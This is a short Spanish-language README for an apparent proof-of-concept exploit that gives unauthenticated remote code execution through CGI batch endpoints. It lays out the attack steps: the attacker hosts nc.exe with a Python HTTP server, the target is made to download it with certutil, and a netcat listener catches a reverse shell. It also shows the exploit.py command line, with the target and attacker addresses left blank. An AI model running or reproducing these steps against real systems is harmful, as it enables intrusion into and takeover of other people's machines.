Exploit RCE CGI

PoC para RCE no autenticado a través de endpoints CGI batch. Descarga nc.exe en el objetivo usando certutil y desencadena una reverse shell.

Configuración

1. Servir nc.exe (en el mismo directorio donde esté nc.exe):

python3 -m http.server 80

2. Inicia tu listener:

nc -lvnp 1234

3. Ejecuta el exploit:

python3 exploit.py \
  --url http://:/cgi/.bat \
  --server-ip  \
  --server-port 80 \
  --nc-ip  \
  --nc-port 1234

Argumentos